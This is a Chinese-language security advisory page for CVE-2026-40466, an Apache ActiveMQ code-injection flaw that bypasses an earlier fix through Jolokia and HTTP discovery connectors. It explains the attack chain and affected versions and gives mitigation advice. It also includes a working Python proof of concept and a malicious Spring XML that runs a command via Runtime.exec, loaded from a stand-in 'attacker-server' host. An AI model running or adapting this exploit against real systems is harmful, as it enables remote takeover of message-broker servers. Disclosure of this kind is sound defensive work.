IPBUF安全漏洞报告
English
CVE-2026-40466 CVSS 8.8 高危

CVE-2026-40466 Apache ActiveMQ 代码注入漏洞

披露日期: 2026-04-24

漏洞信息

漏洞编号
CVE-2026-40466
漏洞类型
代码注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Apache ActiveMQ

相关标签

代码注入RCEApache ActiveMQJolokiaSpring Framework

漏洞概述

Apache ActiveMQ 中存在代码注入漏洞。经过身份认证的攻击者可以通过 Jolokia 接口调用 BrokerView.addNetworkConnector 或 BrokerView.addConnector,利用 HTTP Discovery 传输连接器绕过 CVE-2026-34197 的修复。攻击者诱导 ActiveMQ 连接到恶意的 HTTP 端点,该端点返回包含 VM 传输的 URI,从而绕过安全验证。随后,攻击者利用 VM 传输的 brokerConfig 参数加载远程 Spring XML 应用上下文,在 Broker 服务验证配置之前,通过 Spring 的 bean 工厂方法执行任意代码,导致服务器被完全控制。

技术细节

该漏洞的核心在于 Apache ActiveMQ 对 HTTP Discovery 传输连接器的验证逻辑存在缺陷,且与 Spring 框架集成时存在时序问题。当 activemq-http 模块存在于类路径中时,攻击者利用 Jolokia(JMX-HTTP 桥接)接口获得管理权限。首先,攻击者添加一个指向恶意 HTTP 服务器的 Discovery 连接器。ActiveMQ 请求该服务器时,服务器返回一个伪装的 VM 协议 URI(如 `vm://broker?brokerConfig=http://attacker/poc.xml`)。由于 VM 协议被信任,ActiveMQ 尝试加载该配置。关键漏洞在于,Spring 的 ResourceXmlApplicationContext 在加载 XML 配置时,会立即实例化所有单例 Bean,而此时 ActiveMQ 的 BrokerService 尚未执行配置验证逻辑。攻击者构造包含 `Runtime.exec()` 调用的恶意 Spring Bean 定义,导致在验证阶段之前即在服务器端执行任意系统命令。

攻击链分析

STEP 1
侦察与认证
攻击者探测目标 ActiveMQ 服务,发现开放的 Jolokia 接口(通常在端口 8161),并获取低权限用户凭证。
STEP 2
注入恶意连接器
攻击者通过 Jolokia 调用 BrokerView.addConnector 方法,传入一个指向攻击者控制服务器的 HTTP Discovery URL。
STEP 3
绕过验证
ActiveMQ 向攻击者的服务器请求配置,服务器返回一个包含 VM 协议 URI 的响应,该 URI 指向包含恶意 Spring XML 的远程地址。
STEP 4
加载与执行
ActiveMQ 使用 ResourceXmlApplicationContext 加载远程 XML 配置。Spring 在实例化 Bean 时执行了恶意代码(如 Runtime.exec),而在代码执行完毕后,ActiveMQ 的安全验证逻辑才运行,导致防御失效。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Malicious Spring XML (poc.xml) hosted on attacker controlled server # <beans xmlns="http://www.springframework.org/schema/beans"> # <bean id="payload" class="java.lang.String"> # <constructor-arg> # <value>#{T(java.lang.Runtime).getRuntime().exec('touch /tmp/pwned')}</value> # </constructor-arg> # </bean> # </beans> # Python script to trigger exploit via Jolokia import requests import json # Target configuration TARGET_URL = "http://target-ip:8161/jolokia" AUTH = ('admin', 'admin') # Requires low privilege authentication MALICIOUS_DISCOVERY_URL = "http://attacker-server:8000/malicious-discovery.txt" # The content of malicious-discovery.txt should be: # vm://exploitedBroker?brokerConfig=http://attacker-server:8000/poc.xml&create=false headers = {'Content-Type': 'application/json'} # Jolokia request to call BrokerView.addConnector payload = { "type": "exec", "mbean": "org.apache.activemq:brokerName=localhost,type=Broker", "operation": "addConnector", "arguments": ["discovery:(" + MALICIOUS_DISCOVERY_URL + ")"] } try: response = requests.post(TARGET_URL, data=json.dumps(payload), headers=headers, auth=AUTH) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") if response.status_code == 200: print("Exploit triggered successfully. Check if the file was created on the target.") except Exception as e: print(f"An error occurred: {e}")

影响范围

Apache ActiveMQ Broker < 5.19.6
6.0.0 <= Apache ActiveMQ Broker < 6.2.5
Apache ActiveMQ All < 5.19.6
6.0.0 <= Apache ActiveMQ All < 6.2.5
Apache ActiveMQ < 5.19.6
6.0.0 <= Apache ActiveMQ < 6.2.5

防御指南

临时缓解措施
如果无法立即升级,建议禁用 Jolokia 接口或严格限制网络访问控制列表(ACL)。确保 activemq-http 模块未包含在应用类路径中,并审查现有的网络连接器配置,确保没有指向不受信任的 Discovery 服务端点。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表